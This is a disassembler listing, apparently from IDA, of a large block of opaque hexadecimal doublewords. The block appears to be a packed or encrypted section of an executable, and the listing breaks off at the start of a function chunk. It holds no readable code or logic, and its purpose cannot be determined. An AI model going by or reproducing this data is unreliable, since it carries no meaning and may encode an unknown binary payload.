12AAB8DFh, 2958BFF7h, 0BC8E0BB4h, 8714E831h, 4D0D2632h dd 510F4B38h, 0CDCE7664h, 2D6EECBCh, 2A39CD01h, 5A069F21h dd 38D1D7E4h, 87818C5Fh, 3C4EA298h, 2A422AFh, 0DD5B858Ah dd 3924A032h, 0E4B3E7A8h, 709A0569h, 0C0C3EC45h, 3B958E8h dd 876FD000h, 9A60CDC9h, 26CE77E6h, 5B4FA9Fh, 0C8A38E71h dd 530284B8h, 260D7C95h, 504452F6h, 0A1006h, 10211E62h dd 0CB94FB91h, 0DD384148h, 3FA02200h, 0B77CC0h, 2D027492h dd 95A883B5h, 59798B05h, 60CC1525h, 31880077h, 0E4910B20h dd 0B63E7324h, 45F8019Bh, 9016FDE3h, 3C00E023h, 0B76D4074h dd 870A80Dh, 0C8765802h, 0D9931C1Eh, 2272007Ch, 0A27D7903h dd 34001F7Ah, 39D945ADh, 777F7E4Eh, 0AAFE2493h, 0CBA960C0h dd 0CF1C4862h, 0D581EFCEh, 3CB0717Ah, 8633003Fh, 0E63540ECh dd 0FCDE8F00h, 85F588B9h, 0FB0217ACh, 4A303089h, 0DC007BD5h dd 6E803BEEh, 0C634B2h, 1E856FDFh, 99109DE2h, 0DE9E7401h dd 0FEAA7087h, 3954203Fh, 0F1277134h, 5C6428h, 931E799Fh dd 81D9AD70h, 65960300h, 280B508Ah, 0CBD70459h, 0C2D2C56Bh dd 0E420DFE4h, 794F0A2h, 519B9AA7h, 38D910CDh, 3913A547h dd 248841FDh, 57D707EFh, 90E429B5h, 4ACFFC3Eh, 0CB88E302h dd 903A7579h, 5073ACh, 735F1D8h, 0AABC678Bh, 0C8901F02h dd 402F4753h, 0E870D498h, 6C989FB8h, 9009E83h, 0B6B0EDA0h dd 9191A8DCh, 3E4E8060h, 6184B436h, 894C1900h, 76D762F6h dd 0B8FBFC97h, 0DF7E0784h, 0BBA7B2A2h, 0CAF0D018h, 3C5C5D00h dd 0F85F6F03h, 0ED010014h, 0BBEEE2EFh, 0F0188345h, 9A807D75h dd 0DEA40387h, 0B6BA3C67h, 0DCDC6DB2h, 0FA740C40h, 954A00FBh dd 9E20134h, 77000D39h, 0C13EB528h, 94E9C33Dh, 0C9614160h dd 6C203B24h, 7DBADA47h, 1D44005Ah, 382F79Eh, 0E17C6DCDh dd 2F54D476h, 0D10EC6F4h, 60C00BDEh, 4BF6C1F5h, 598E12E5h dd 62B0E418h, 0FCB69F04h, 0CFC01908h, 0E59838Ch, 9888FA54h dd 0BC82186Bh, 0EC74332Ah, 0D55A7900h, 622CDA8Fh, 2464A142h dd 699FF498h, 29923Eh, 94511081h, 0E30580E1h, 34FF4C40h dd 602500E2h, 0EB7EC68h, 9F130AE1h, 28C791DBh, 1C02739Eh dd 9006FC21h, 0BAA3C4h, 1CAAEEFEh, 0F5D7328Eh, 1D298C00h dd 0CD7E4D36h, 7CD80141h, 80077557h, 0EEA14099h, 0E5302678h dd 0C191C019h, 801CB13Fh, 0CD80BE29h, 8800DB9Dh, 0DC89C848h dd 62DBC20h, 0C9E566A8h, 0C1F0EE61h, 0A3B410Fh, 2A034083h dd 411E398h, 40910155h, 0C484E829h, 28BDA98Dh, 6C83E105h dd 5CED05h, 7BECC3E0h, 18E2D29h, 0F28D59DDh, 0D49596D1h dd 0BA1D70CCh, 10EDD00Fh, 50CEF478h, 263D734h, 0C6015ADAh dd 5C66491Bh, 5A02F4Bh, 0CF2905D2h, 8004F7C4h, 0FB609A9Ch dd 1CA38D2Ch, 0D19770C2h, 6A79007Ch, 8916CD2Bh, 0D4FDAC00h dd 0E4ED6065h, 0E5432F5Ch dd 540090E4h, 3EF61266h, 7E7FA549h, 0CE210F11h, 10A126A1h dd 80ED4494h, 9A30560h, 1F38A81Bh, 4468537h, 0BC3C02BAh dd 72B98798h, 0C4E2C185h, 9478E280h, 0F901436Fh, 168E59Eh dd 302FB85Bh, 6AF471Ch, 84BD7500h, 0F792CA88h, 17E32433h dd 0B3426070h, 0F100389Ah, 0AC3902A6h, 251B1470h, 5CC8A28Dh dd 34BE7BA8h, 0B36E2240h, 6FBE002Ah, 0F0D08375h, 9B00128Fh dd 0C5D61507h, 90D57F1Dh, 40B04D34h, 8DA89681h, 0E4322EBCh dd 0A27D4066h, 0DAD50B41h, 1C710826h, 0B0815418h, 0F2FE7Bh dd 10AE8DBDh, 57118719h, 0B281E413h, 0E0CB5888h, 0A2FA1DBEh dd 66D100F5h, 4F3F8476h, 81BD507h, 0F6107B5Fh, 7703755Bh dd 28AD02CAh, 926E381h, 94A42C5Ch, 7A0A214h, 77059680h dd 94B8A984h, 0C4E47A25h, 0BD11A200h, 9EFC4B9h, 0E9DC0251h dd 592BB2FAh, 58989055h, 5F403F62h, 0F137203h, 8FB0BA22h dd 0D00CBE4h, 2CE51CABh, 5D9B6B1h, 18DD255Dh, 9F6DC0CFh dd 8F131DA2h, 9C094277h, 387479B5h, 0C6A67380h, 0D3E4FF97h dd 0A15FFD00h, 98B601E7h, 9A5AFCEFh, 18A9094Ch, 0C31B05Bh dd 9C235Fh, 0F3AB3857h, 1F155412h, 45A89214h, 802EB6B9h dd 0CB2B9E24h, 1FD733Ch, 401F72C1h, 0CC2AB487h, 5CB4E174h dd 0FDAD7503h, 7AB1C02Bh, 0EC909769h, 0F70349EFh, 85D7140Ch dd 364891E1h, 31CFB20h, 9443A8E3h, 3CC8E450h, 267CE77Bh dd 7800C8A4h, 0C899761Dh, 0CDAE5C7h, 2EA5F8ECh, 653C12E0h dd 60899363h, 0ECBA600Ah, 3831FF00h, 5A91E88Bh, 8960C8A4h dd 2F8FF700h, 44499040h, 1AE5015Dh, 0BBCB0495h, 0D489D41Ch dd 0C4802B4Eh, 258AECFCh, 0C450486Ah, 0A4BAEF1Dh, 0C4F8130Eh dd 30B23950h, 0A0ED2500h, 5FD1F92Bh, 7ACDBC02h, 0C24D15C0h dd 34C7A38h, 9B8AA510h, 0C48013BFh, 160279D3h, 9E5B24FEh dd 4EB4FEA4h, 8FFBFC83h, 0D61A16C9h, 4F43B47Ch, 0D3A3F054h dd 0F69ECD7h, 0F6CFC71Dh, 0B07853A0h, 6049361h, 0CC3C8F4Ch dd 0FCA5CECh, 0E8E401E7h, 62B126D7h, 48B34AFCh, 0FE4A891Dh dd 800F971Eh, 74FD2E87h, 63005978h, 0F388EC39h, 0B618E11Dh dd 3868A7ACh, 0B22EC56Fh, 0DC003C0Dh, 1BD979FFh, 39A139B1h dd 693020CBh, 0ED740DD0h, 179AC617h, 4AB0B027h, 7ABDAE7Bh dd 0BB11077Ah, 27927D24h, 0E31DB2FFh, 820074C6h, 0FC184DABh dd 0FAC37F5Fh, 44700FDh, 159A260Bh, 0F300A38Fh, 0DEA74A5Bh dd 9F145796h, 44E8CC04h, 0B0B29890h, 7500FA3Eh, 0E1FE81D3h dd 3800335Eh, 0A9B6F046h, 9E737013h, 676E044Ch, 0B839C53Eh dd 0E3CA8048h, 0AAC25h, 35FD791Dh, 0B66539A2h, 69599901h dd 765A5514h, 179E1870h, 0BA308D3h, 78FA746Dh, 0A8622E1Eh dd 9DF86040h, 982759E0h, 944D4448h, 0AF0848B0h, 803948CDh dd 1489B154h, 0C60081BCh, 0ADDEFFD2h, 3EAF8E03h, 3E225793h dd 0BD69B890h, 4F885CE9h, 73342F20h, 63003E43h, 0CC7BCE82h dd 1FA68002h, 7B6E7079h, 48A04E27h, 0D99FD0C2h, 0F9B0851Dh dd 0F67E0940h, 2C56A2h, 658F2AE0h, 881FC646h, 0D6D8E402h dd 444D1104h, 0B4080090h, 0F4C03D9Fh, 2402D187h, 8158B005h dd 0F3218C7h, 0E8AE7700h, 18BEDE90h, 33F201A1h, 716B158Bh dd 0D0A160C6h, 1D648048h, 175ECF70h, 0A25FD02h, 2898A856h dd 534A0480h, 741248h, 298FE7F6h, 0F7BD442Ah, 0EC954000h dd 0A292A98Bh, 76D70353h, 0FF093990h, 2B2ACCD8h, 0C35CEA48h dd 0B84E47E9h, 39803CEBh, 7C4D4F90h, 6D92CB3Dh, 3730080Ah dd 0A044A5h, 79939ED2h, 8CFF4E4h, 572BF309h, 0CCC898A5h dd 0C9B9005Dh, 1BAE58D1h, 1001B1E7h, 26E4DCA1h, 6C4255F6h dd 0F0A32057h, 0C41F7925h, 8D40DCDFh, 0BCACA237h, 732E0712h dd 1BA1AEh, 0F849B7B4h, 80C44D4Ch, 66F459A2h, 67F007h dd 1C8369BAh, 0FD1BF7ABh, 32C0770Bh, 80C44Dh, 0A25421F2h dd 599F2416h, 64981095h, 33E10086h, 0A744F843h, 1500AE8Ah dd 0D4AB5B4Fh, 5A3DC063h, 1A88CCDh, 0CBB0EB1Eh, 5EDBC580h dd 2E7B73CAh, 25C43D0Fh, 0E420FD54h, 0BB64A44h, 6CB8D5Bh dd 7F0040D1h, 5F424F6Bh, 3D71008Fh, 0B81C591Bh, 0A00ADD3h dd 870717A2h, 0B004A39Eh, 4B120965h, 8CF1C63Ch, 0C16F6100h dd 2502AC1Fh, 101192A8h, 9B96409Ah, 0E00B0CDCh, 18EE4D9Eh dd 35C1E4h, 12852331h, 0F711D294h, 15261418h, 98B39C21h dd 0FD09173Dh, 0A9200B7Dh, 7AB0A090h, 72A4FE00h, 0DD3E1C75h dd 0B71B02C1h, 919949F5h, 0EC88B4C9h, 473D8522h, 0CD2579E7h dd 87C4D145h, 4BA080CEh, 2561C70Fh, 2919EE47h, 1DFF0008h dd 0B734C4F2h, 0CFF106A2h, 0F9A556B5h, 64FD3027h, 36A801A0h dd 942EE8AAh, 47EBCC1Eh, 1113CB04h, 90B2D086h, 0E600C23Ah dd 967EB323h, 0A9485216h, 8C8C4FECh, 87A81FE8h, 0AE3CCBC3h dd 71433818h, 1BA24B00h, 92FD54ECh, 5C40958Ch, 0ACA6D711h dd 9A918200h, 8CD9958Dh, 476F0249h, 4AE490ACh, 25A01C0h dd 64B890B7h, 87F900A9h, 39E6231Ah, 1612412Fh, 0E09890D1h dd 0C9DD2888h, 4820B780h, 0A1E61509h, 0A0E408C4h, 4E01C8B2h dd 0F45F3F6Ch, 89737038h, 0D1FBEEC2h, 7006666h, 553E0A91h dd 0B0B1C0C6h, 33DAC79h, 5E6F0183h, 0CB88BA8Dh, 0FECCD7D9h dd 2D073093h, 5B0A1F88h, 0B922BC22h, 0CF582520h, 5F1C4E03h dd 0F8676FEAh, 0B80557Ch, 9BDD26E1h, 103224D8h, 0FEFC10A8h dd 8E056FF8h, 6F00960h, 0D60BB0F2h, 0EA8AAF6h, 6E6D823Fh dd 81F8E0A0h, 6FA2D95h, 2F60A02Fh, 3F9AF270h, 16ECB17Fh dd 90BDAE76h, 4185A0h, 53F375A1h, 0BF204A2Eh, 9642A700h dd 0A0EBC8DDh, 0E6A1090Ah, 487063BAh, 9E2EE300h, 174E119Ah dd 0CA043990h, 53AA080h, 61D5BA0Dh, 950ECD09h, 507163h dd 0C50CA2D8h, 0A67768FFh, 520AED0Fh, 0D809B62Dh, 62DC1AC1h dd 0D6E0004Eh, 0B7A970D1h, 0A58DAC82h, 4921BC87h, 98009C51h dd 0EC5EFCCFh, 0A78D2502h, 31C38A5h, 8F7E01A4h, 0C0D55AA3h dd 0AF95FD8Ch, 449CB01h, 90D04BC0h, 809D8038h, 0F90A3307h dd 4700DF24h, 0BE8514FFh, 0D47E4E77h, 2770C890h, 88C46F1Eh dd 61648C00h, 0D928537h, 97A204B0h, 838E25BDh, 42E77210h dd 0FCD4A83Dh, 0AF1AFA40h, 0EF1B3F38h, 0F5AC9Fh, 326919FBh dd 4009A006h, 549FE607h, 183B4020h, 0B607D482h, 0CA912251h dd 2BABFB50h, 0FE9E28DCh, 1C72018Ch, 602DAF18h, 3E902883h dd 3C402C87h, 508A5E00h, 2DEFC7A2h, 20643C4Ch, 6DC28B14h dd 0B6D513B0h, 0DF8488h, 0A676E401h, 77654471h, 0F8CB9807h dd 2B607B58h, 0D0D696h, 0B01BF9CCh, 0F58DD56Fh, 16B090B5h dd 0A2B500DEh, 576308E2h, 30809BB0h, 0C187020Fh, 48095219h dd 373B34F2h, 9CB73C7Eh, 0F380B8FDh, 3E612C1Bh, 8EC8F19Dh dd 0DA3C2D19h, 9880B8E5h, 0BFA78978h, 0B2E84A56h, 2EAA02A4h dd 0E19F5D0Dh, 1B107694h, 1E120C07h, 0DC00DD70h, 19A8913Eh dd 4074B44Ch, 0F9E49894h, 0A13ABB00h, 334D72DFh, 1F91724Bh dd 0C5C4FE15h, 0E879405Fh, 40E0D3B8h, 5880FD0Ah, 4EC0AD2Ch dd 4C0F9E74h, 84E242B4h, 5AA3889h, 0C025DF80h, 84F66A4Ch dd 0A31B451Ch, 78CEBA02h, 218DE34h, 503D824h, 0DC00E864h dd 68C2965Bh, 2657231h, 10894A16h, 4D84FF5h, 1306321h dd 39F86BCBh, 1498EFCAh, 0A1145720h, 12806E3h, 0ED654A1Ah dd 0E7DC629Bh, 5F7731Fh dd 90923DDAh, 60882003h, 70098F0h, 86AAAF7Bh, 0C0BD7062h dd 6E1BB918h, 84003545h, 265168A9h, 2AC686h, 94BE566Ch dd 8DEA5415h, 92006679h, 0E075641Bh, 9EEC712h, 19B1E69h dd 39213F86h, 70A1900Eh, 4F42802Fh, 0C57ABBBh, 8ADEBFFFh dd 0ED02DD20h, 52E1486Ch, 0E8966081h, 847005Eh, 4FB3F2C3h dd 2303B640h, 812E9565h, 52583EDDh, 0F2386160h, 77000EE6h dd 9C182D3Ah, 0F31229Bh, 740B08EAh, 0CB67EB63h, 0C988FDE3h dd 0CF30BCA0h, 2C0E4976h, 564C0042h, 207E3392h, 14189187h dd 3C612352h, 0B778F5h, 0F16A9956h, 8CFE7FE1h, 0FC7A0A01h dd 0D8DFB6C3h, 0BA86C883h, 0F1D76625h, 0C47012C7h, 0BF1CCD92h dd 95468F18h, 792B5Ah, 76F0E3ABh, 45257385h, 26EE4401h dd 0FC2CB99Dh, 0BECE2843h, 0DFB42431h, 436600B5h, 0A0C2DC01h dd 177CA400h, 52978E68h, 77B1C02Ch, 79E5D320h, 8274AF00h dd 27981C71h, 59DE0ACDh, 43BCFE34h, 6900D7DFh, 0BB478E94h dd 0C488B7h, 45363835h, 0A7CD75D4h, 29AFDF18h, 32E8E28h dd 5F7BFF51h, 858806DCh, 314CBA5Dh, 248160FEh, 3BEC1E0Bh dd 1D037BC2h, 2FC38D4h, 0C4B3CEB9h, 0DB03079Bh, 4B953E94h dd 0CAE10C7Ah, 8E997EDEh, 0FC61400Fh, 1DC121B5h, 2091302Dh dd 3D700081h, 0BB29839Fh, 0B9860093h, 0D65645DFh, 6AF838EDh dd 57CBFF24h, 0B0AE2A00h, 141A7B5Ch, 38CD6649h, 41322D07h dd 0B029D72Ch, 1199C982h, 400EBF0h, 0EB0A6B9h, 0F4A4567h dd 0BADD2214h, 847508CFh, 3254047Ch, 8C69E6FBh, 0CE00C064h dd 25A04DBCh, 1B0721Ch, 3BB64398h, 0D4104E73h, 510006BEh dd 8BF56A05h, 7CCDEA7h, 8EC8E756h, 0B880F6A0h, 474AE601h dd 3D1F95BCh, 0E21D5CF4h, 0CD5118BBh, 8373C12Fh, 0BC09B502h dd 0A1C3FA2Ch, 8B050E4h, 9A88AC47h, 5C212023h, 0C5161A39h dd 0BD4205Eh, 7F802260h, 298F27D3h, 0E45166h, 0C333CEE4h dd 600CD4Dh, 0BBA0DF83h, 1C7756Dh, 0A4562D13h, 0CC5F2980h dd 0A806B0FDh, 3B529367h, 0C92D3A41h, 0E9838109h, 80D5D289h dd 136ED86Ah, 272300ABh, 2A56B5E5h, 677D38BBh, 61806406h dd 4018E802h, 66F21826h, 79EF9500h, 746D36C5h, 8F590C3Fh dd 0B029DD25h, 0E0F42700h, 9DC507C7h, 61BE3EC6h, 55896060h dd 7E0010FCh, 7217B8AEh, 3E0719Dh, 0A4F47CE7h, 893CDEDFh dd 44740046h, 0F70C64D7h, 2E10E525h, 0E002DBDh, 66CB47FBh dd 228EB0h, 0A5A77D50h, 616CC43Fh, 14376700h, 30F42CDCh dd 7E81C5A6h, 0D87401DBh, 0FCA71887h, 1E00626Ah, 4DEC28A8h dd 0D623B8h, 0F006CE2Fh, 999C9060h, 9F8CD702h, 20DCFEE8h dd 0EE234063h, 0B8508006h, 0E038B048h, 0F5200741h, 509D6660h dd 5342F4C2h, 4CE681C5h, 80A38808h, 65DA8316h, 0E005FF7h dd 4C37B8A9h, 0A346AD0Fh, 0C62BE8B8h, 302A0C6Dh, 9058C7CCh dd 758B025Ch, 5BF79B00h, 0CED6222Bh, 0DBEC062Eh, 0A0A73E53h dd 3650E500h, 0E658AD5Ah, 0B8A01D62h, 0AC29004Dh, 125E798h dd 0E20367E2h, 3E118D4Ah, 0AB393FA6h, 88968780h, 2D7F3641h dd 0D5F82B0Fh, 117D6051h, 31D7F660h, 0B931B659h, 8CDC487Eh dd 95011E79h, 71FD8879h, 0B0175FD7h, 3E2AF628h, 1055C330h dd 0E404913h, 60594A6Fh, 5BF88020h, 0D8A4BD56h, 0BCC12F0Fh dd 0DFA0A085h, 42F9F1h, 8D246425h, 0D87F5BC7h, 80D479C9h dd 0D6FBA54Ah, 31B0083h, 8ED9E06Fh, 0F70714E6h, 61734B6Bh dd 11AB2BB0h, 0B83D3301h, 9681A599h, 970AE486h, 0FCCF3300h dd 0DC23843Ah, 2C8B0128h, 0AB356F60h, 942222h, 6C36B070h dd 896887h, 6B652EBFh, 4C1DAD4Eh, 0E808DA0Ah, 2000D0F3h dd 26A2101Ah, 0A6BB07CFh, 0A0D67B38h, 0EE2B6E1Ch, 7EB2CE0Ch dd 0C259DDh, 4E0321EFh, 0AE982EEBh, 546DF600h, 0E68A7FCh dd 0B13E300Bh, 246CCB9h, 517BEB00h, 0E867B4A8h, 533400FBh dd 850DFF2Bh, 0A4048699h, 0F425518Dh, 0DF722601h, 4C6FD49Eh dd 7D020B18h, 244D4A1Ch, 3A30FF7Ah, 47693E9Eh, 651407E3h dd 12D847DFh, 0D89E0033h, 0E5F74D62h, 0B48C20A2h, 0E8CD1000h dd 652A61B6h, 47690586h, 0FF6838Bh, 408C9DECh, 0C62A26E1h dd 9A007816h, 56A3B3Ah, 5A6DD8h, 1C3CFC91h, 9EAE1B2Bh dd 342E4Ch, 0D3063F7Eh, 88F2FE92h, 0D1006BF1h, 61FDFFBDh dd 39F0355h, 6E114AA9h, 1788505Eh, 65064DEFh, 0F5FE38A1h dd 168C0039h, 5EC9C671h, 0F0030B94h, 758D9C6Ah, 983F9B97h dd 1252DB8Fh, 455A29F4h, 80730D44h, 6A9301BDh, 1E1FF490h dd 21001B40h, 0FEBA107Eh, 61D2F6h, 9FE8BD47h, 4B003C11h dd 8A45E2C5h, 0C761754h, 0A7BEA6D3h, 38072B59h, 3E8AE11h dd 0C875FD63h, 0F6C3D0h, 3DFE53F1h, 216CF448h, 763DC898h dd 7DD224Fh, 0DB862BF3h, 5831402Eh, 1C0336BBh, 0F78FE99Bh dd 0B4DAB8ADh, 428E012Ah, 0BDF264D3h, 0E27980A5h, 0BAED14A7h dd 0DCFD0057h, 20315BD0h, 0E5009D5Eh, 6E8E010Ah, 94C4736h dd 4E947DBFh, 0C07E2C98h, 6F82EF2Ch, 2D4DAA00h, 0F130C96h dd 0B1C3B16h, 2F5D22A3h, 0A5D00F9Bh, 9A003C6Eh, 5BE3FDCFh dd 497D8C4Dh, 9E1E00C0h, 6308030Eh, 0A1FEBE75h, 0CA50100h dd 0AB47FA4Ah, 75EF7DAEh, 0D0DB7E1Dh, 3ECFB839h, 273BA320h dd 0E8005C14h, 816752A0h, 5C8C0CBh, 4D3F37BDh, 57E8084Eh dd 8D16D781h, 0F0D71822h, 0EEA16Dh, 6F07A9BFh, 0D4099666h dd 103CAE00h, 9F67692Bh, 3649015Ch, 0CE3D1216h, 607C20C7h dd 90F6DD00h, 0BF319507h, 615960BEh, 0D0EE366Fh, 6306AF12h dd 99171800h, 16E4E02h, 4246DE16h, 327EBB8Bh, 965C2660h dd 0BD68003Ch, 0BCFCFF9Dh, 79E600E1h, 4E203F0Fh, 0C0ABA43Dh dd 0BE63F990h, 6F00D07Dh, 0DDE2BC0Eh, 4C5BD499h, 16C5E4A3h dd 0E649C03Ch, 90166255h, 7EBC6843h, 0E8C05202h, 54C1EE66h dd 3E83700Dh, 2B39A960h, 29C81Dh, 9D902291h, 11F72A24h dd 0EE8AC48h, 8098A18Fh, 4DC0AA8Eh, 1DDE296h, 0F78CC5C4h dd 0B87B8A68h, 6177BC58h, 0E7716460h, 0F03093FDh, 0E8157C58h dd 20351303h, 87D10502h, 6678804Dh, 0FB0227A6h, 0BEC5163Ch dd 0BCA8A0A2h, 0CF3587h, 9E45A01Ah, 0BD3B95B1h, 8A3F1000h dd 5BD78B9Fh, 0A4C1C2B0h, 58465409h, 9C15421Ch, 0BA2BBF40h dd 73892EBh, 6C0EA112h, 0B09D03Ah, 8B13E47h, 7007B000h dd 3D6D0Fh, 0F90DD5E4h, 1C74BB24h, 7E31D5Ch, 1551E50Bh dd 0AB0ECAE0h, 0E48454D7h, 16AD0C96h, 7511DF7Dh, 0D2DD3B09h dd 4EE687FCh, 2C80C515h, 5CA4C61Ch, 258E48D6h, 196840B2h dd 82092EBDh, 1BDCE113h, 0FE150005h, 0B5001012h, 2474C51Dh dd 30295C07h, 7E30AB22h, 0A01651B2h, 3E97006Ch, 330D1731h dd 220E260Ah, 0A342E945h, 1BE39FAh, 0DD736090h, 34DC3DF5h dd 0F800FCF4h, 89AFD40Bh, 0C0C23E85h, 0DA3D6019h, 0ED581B75h dd 87B2C028h, 91ECA6h, 381B063h, 0EB936FB3h, 0E4C2D02Eh dd 0A1AA2B0Ch, 60D6457Fh, 860FB057h, 6A9E9Dh, 0D90DC05h dd 3248F0D0h, 26A68A4h, 0C2F00F7h, 60BD666Ah, 0B6B8495Fh dd 0A70154AFh, 693FF219h, 34735BD8h, 1E67600Bh, 0DDF78C80h dd 0B4607F87h, 0B0A7C479h, 0CAB10703h, 0CE1B6972h, 5F3AEF43h dd 6D8C9C07h, 311CDCA4h, 0C1742AD7h, 0E230980h, 0E800CB4Ch dd 527307F6h, 841D7090h, 970C9421h, 9839C2B3h, 6E3F1DC0h dd 0ED250199h, 0E8096DD3h dd 8B0018D7h, 97ABB49Fh, 4C6F0F3Fh, 3601E6B8h, 0FEEF46C1h dd 0E1C980E0h, 7515659Eh, 78EB004Ah, 6105B3A8h, 24056B66h dd 58BE84D5h, 0B607885Eh, 30D452BCh, 908DA494h, 0CBD3F0h dd 102FE9A5h, 0DF173FE5h, 51B13100h, 7B60B653h, 7FD3720Bh dd 296C98FBh, 80F0F00Eh, 3B08E409h, 5801C312h, 0F9C866ADh dd 39F04551h, 228CB85Ch, 0F8B085DFh, 1CF4B045h, 0E9640758h dd 95F8797Fh, 0DBC5D6h, 38B0DFB7h, 313FA66Dh, 57AD1D67h dd 80610F49h, 0F4CFDD1Ch, 80C0B130h, 9B0465A1h, 6E00BB2Ah dd 74F48742h, 90A2924Dh, 7C544CA8h, 65FE72C0h, 0EF005248h dd 236DF74Fh, 711147h, 515B410Eh, 45306F61h, 3BAD5600h dd 0C277598Bh, 71A460BEh, 155F29B6h, 0EAC69401h, 0C9FF070Fh dd 4286D8h, 2B89A964h, 6C479565h, 98DA5C01h, 552AF48Fh dd 803841A9h, 5714FC49h, 0CDE4899Eh, 0C5ADFA03h, 0C820EFF1h dd 19B0DD8h, 9C85236Eh, 81DA7EE3h, 95DF5C39h, 55CC9D24h dd 26C300E6h, 8CD868E9h, 6F3B1048h, 0A6A480B6h, 0F6D77557h dd 1DF80919h, 500EB5D6h, 7050CCC9h, 0BE0598B1h, 3AC0730Fh dd 5BA1D93h, 0B727F421h, 1FA0003Fh, 55D9C66h, 0D5C8CA00h dd 0F515A71Ch, 0FD0125A6h, 0D604F010h, 98999400h, 4DE9DD36h dd 544130F4h, 2C6761F9h, 0AD03F098h, 0FECF1735h, 8D810FE9h dd 40BD36A5h, 0ABB2BAC8h, 8A007892h, 6907ADDAh, 0E01DC345h dd 0EC8E05B7h, 87E44F5Bh, 0D51BA014h, 0D8C356FEh, 0F046A453h dd 138945ADh, 5CC1012h, 0DA5B4Dh, 4E92AA34h, 88DE8C07h dd 0C47EF549h, 3A8B0050h, 0CFA6D54Dh, 9CB8A4BFh, 47F04413h dd 22637080h, 18FF501Bh, 6EB100ECh, 4115F2ABh, 883C64E3h dd 8FA9989Ah, 4462DA0h, 0BF9060A7h, 34A262h, 0ACA08B3Dh dd 72DAE0B6h, 0B13F0020h, 0A9432BA5h, 0D4A8C55Eh, 4B5072B4h dd 0E8638A4h, 0DC221D6Fh, 0C8D09506h, 0FE9E4600h, 14352E5Bh dd 0ABE900B2h, 0D2902AEDh, 185C6678h, 1CEF00B8h, 64D7453Fh dd 647F4CA8h, 0AF8D3580h, 69007E9Ch, 134F5A22h, 98C811ABh dd 0F487818h, 0FAD52F4Eh, 6F143620h, 0A21899ECh, 74D1F3FEh dd 0CF7900A9h, 765E3113h, 0F0772F33h, 0FEBF300h, 0AB5C444Dh dd 6FBB0147h, 0A03E59B3h, 0E0280056h, 0F89701D8h, 0C74CAF9Eh dd 908920C1h, 0F2CBAB00h, 64BB5575h, 325C1202h, 17480AA1h dd 9FEA8220h, 68EF7147h, 74B68Fh, 0F0A546A3h, 0C25C10D7h dd 0A7080255h, 50CACE53h, 0DAFD268Ch, 0A27600DCh, 61AA8A6Ch dd 0E9E74037h, 484AFD7h, 64137CF3h, 240D3FEh, 41CEB1D8h dd 6D782300h, 802BA1DEh, 0B4D30019h, 74C758Ah, 960566B1h dd 0B6D83539h, 31CE80Bh, 0AA696D48h, 9DD084F5h, 95037CC0h dd 0A4D78ABh, 9A91207Bh, 5FC31380h, 0BA9FE4h, 11D8E2B5h dd 0E8A8897Eh, 64168B19h, 8006F9Eh, 0F093BB5Fh, 2E467F4Ah dd 11684E38h, 0E3C300A4h, 28D085F5h, 7AFF4F2h, 2F5898EFh dd 8CC66559h, 6A0B4BACh, 5D714246h, 795EBE87h, 7F44900Fh dd 191880FAh, 7E581BC6h, 905E80E4h, 0F37DAFh, 0E806A4A9h dd 0C95675Fh, 0D8828D00h, 0AB536F6Ch, 15D898EBh, 0A4F82570h dd 19467800h, 0F9C4C939h, 0D03E7D01h, 1C8A05BFh, 1791C7ECh dd 402F0961h, 928DC898h, 0D91E77D6h, 27000E16h, 1DAD9BC9h dd 17C3002Eh, 0D41022FEh, 0E499BC24h, 0BEEC793Ah, 217A8703h dd 0F8706AA5h, 79E81F8h, 0E8B42E7Fh, 9DEFF360h, 4850A00Bh dd 35F080B6h, 0F72879h, 0D5361468h, 7E1592C9h, 0D4F9B360h dd 0C48399h, 0FB8BE6FAh, 8A25225Fh, 24F04100h, 0B952F1Fh dd 0DC5A5C60h, 5E8B6680h, 3F1FE0D9h, 0A067D7F6h, 9D6C3684h dd 8219171Bh, 4A002025h, 3300CD73h, 18541271h, 2A0FAAF9h dd 0EC1C68D8h, 666D0092h, 4C9746EBh, 4D305BF8h, 31ACB815h dd 80B4967Eh, 1E0ACCD7h, 0BD22CF25h, 0E4340060h, 484A1B6Eh dd 56000C8Eh, 0F4891493h, 6FA4AC7Fh, 4E8229DAh, 0E4D2BDB0h dd 0BA08860Fh, 5EA3246Ch, 1FC03180h, 6A2A142Eh, 6D00D8B3h dd 79747B83h, 60241692h, 5F42B05Eh, 3204686h, 0C7D59D14h dd 0EFE804A9h, 0FFFE2D11h, 8CF7620Bh, 6684417Ah, 0E783D0h dd 287F3DE3h, 977E68F0h, 982044E2h, 0AB1F0910h, 5803F509h dd 1480CE7Fh, 97244D4Ah, 1A24B478h, 8F60AA01h, 0A828642Ah dd 75E6BE80h, 67507F73h, 0B77C66CCh, 0D4521581h, 0F0C2AC1h dd 0F58B1C40h, 0A910FCA7h, 190090E4h, 0DC71223Bh, 26731721h dd 8EC4690h, 0E999582Ah, 1D8BF38h, 23A412AEh, 401CD582h dd 0B9AC4740h, 0F8C34FF1h, 9A604C6Bh, 0C0C47Fh, 2457D394h dd 1E2DB483h, 1B217100h, 0EBB3DB10h, 4E5B0AAEh, 49DC23ABh dd 0A1DEC406h, 78097E24h, 1200A917h, 6CF896CCh, 7FA727FEh dd 0A418C8A0h, 0F1EEBBC6h, 0FB70AE00h, 5DC119ECh, 75BD01ABh dd 0DD9B5F3Ch, 6EB440CCh, 0BE4F518Fh, 2C042C40h, 386D1812h dd 0D88079A3h, 7D978534h, 0B85CA28Bh, 40EC24BEh, 45145560h dd 107E073Fh, 0A0131A59h, 0F6AD740Ah, 575DF411h, 0A15F611Bh dd 9C01EBC7h, 2924BEC6h, 130C00F4h, 6F485E29h, 4FB9008Ch dd 8571DA6h, 6C5EF4F9h, 0C4A35C02h, 711F0032h, 861F2702h dd 0DA423CADh, 6616B061h, 0C45B00B0h, 90A3F1B8h, 583376B3h dd 0F0E078A9h, 6FFE4DC0h, 0BBC091DEh, 3D484111h, 51AC80Fh dd 0B0374134h, 0C1815CBEh, 0C2B70C73h, 3C7DF8AFh, 0A0D44328h dd 0B1201700h, 655011A4h, 0A60B0089h, 0D9A2CB2Ch, 0D731ABFBh dd 0F1FE9187h, 0BE107183h, 67881117h, 38027159h, 3ED62502h dd 4DF4A0DDh, 737E7BF8h, 516A26F9h, 2F5B0064h, 311CD614h dd 0A1446504h, 7490AB3Eh, 7A160Ch, 58B5C411h, 0DA8E9A98h dd 0E2C78300h, 8590654Dh, 0C25D22D7h, 0F9387400h, 25D6F752h dd 21940A14h, 5F01CCA8h, 6CFFFFh, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53C6A8: ; CODE XREF: start:loc_4D3265j ; DATA 